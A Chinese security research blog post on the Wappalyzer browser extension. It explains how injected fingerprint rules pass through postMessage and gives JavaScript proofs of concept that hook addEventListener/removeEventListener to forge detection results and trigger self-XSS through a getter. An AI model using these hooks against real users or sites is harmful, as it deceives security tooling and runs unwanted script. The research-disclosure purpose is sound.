你怎么知道Wappalyzer是不是在骗你?
Wappalyzer插件检测原理
插件是开源的 https://github.com/wappalyzer/wappalyzer
readme中提到会收集cookie,dom,js,css,header等数据,通过既定规则匹配,实现获取信息并匹配版本
其中js和dom比较特别,这里以js为例分析
https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/content.js#L36-L42
1 2 3 4 5 6 7
| function getJs(technologies) { return inject('js/js.js', 'js', { technologies: technologies .filter(({ js }) => Object.keys(js).length) .map(({ name, js }) => ({ name, chains: Object.keys(js) })), }) }
|
会插入一个js/js.js
到前端去执行
https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/js.js
代码比较长,简化代码逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
;(function () { try { const onMessage = ({ data }) => { 检查data是否是指纹规则
removeEventListener('message', onMessage)
postMessage({ wappalyzer: { js: 执行指纹规则的结果 }, }) }
addEventListener('message', onMessage) } catch (e) { } })()
|
可以看到,这个js会启动监听message,插件后台会将指纹规则postMessage的方式传到前端,又前端进行指纹匹配,将结果用postMessage传回后台
伪造指纹
那么我们也可以手动postMessage一些数据去伪造指纹匹配结果
由于wappalyzer收到规则后会删除监听,可以hook removeEventListener
函数,在调用时就可以手动postMessage伪造指纹
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| let rel = removeEventListener; removeEventListener = (name, func, opt) => { if ( name === "message" && func && func.toString().includes("wappalyzer.technologies") !== -1 && func.toString().includes("removeEventListener") !== -1 && func.toString().includes("__UNDEFINED__") !== -1 && func.toString().includes("postMessage") !== -1 ) { poc(); rel(name, func, opt); } else { rel(name, func, opt); } };
const poc = () => { postMessage({ wappalyzer: { js: [ { name: "jQuery", chain: "$.fn.jquery", value: "99.99.99", }, ], }, }); };
|
同样的道理,把指纹库里的全部post过去就有全部指纹了
XSS
仔细观察执行js指纹规则的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| technologies.reduce((technologies, { name, chains }) => { chains.forEach((chain, index) => { const value = chain .split('.') .reduce( (value, method) => value && value instanceof Object && Object.prototype.hasOwnProperty.call(value, method) ? value[method] : '__UNDEFINED__', window )
if (value !== '__UNDEFINED__') { technologies.push({ name, chain, value: typeof value === 'string' || typeof value === 'number' ? value : !!value, }) } })
return technologies }, []),
|
technologies
其实是从message里取的,因为检查比较弱,也就是可控的,打个断点可以看到数据结构
1 2 3 4 5 6 7 8 9 10 11 12
| { wappalyzer: { technologies: [ { name: "xxxx", chains: [ "xxxx1.xxxx2" ], }, ], }, }
|
value[method]
其实就是执行xxxx1.xxxx2
利用getter
可以在这里实现执行任意代码
1 2 3 4 5
| window.bad = { get xss() { alert("xss!"); }, };
|
执行bad.xss
就可以触发
至于触发时机,由于一旦收到message,listener就会被删除,只要在后台发送指纹规则之前发送poc就可以了
所以可以hook addEventListener
,在添加完后立刻发送poc触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| let rel = addEventListener; addEventListener = (name, func, opt) => { if ( name === "message" && func && func.toString().includes("wappalyzer.technologies") !== -1 && func.toString().includes("removeEventListener") !== -1 && func.toString().includes("__UNDEFINED__") !== -1 && func.toString().includes("postMessage") !== -1 ) { rel(name, func, opt); poc(); } else { rel(name, func, opt); } };
window.bad = { get xss() { alert("xss!"); }, };
const poc = () => { postMessage({ wappalyzer: { technologies: [ { name: "xss", chains: ["bad.xss"], }, ], }, }); };
|
可惜只能是self xss,没啥大用
demo
https://wappalyzer.demo.xlab.app
https://github.com/ttttmr/spoof-wappalyzer
文章来源: https://blog.xlab.app/p/63a5b7e6/
如有侵权请联系:admin#unsafe.sh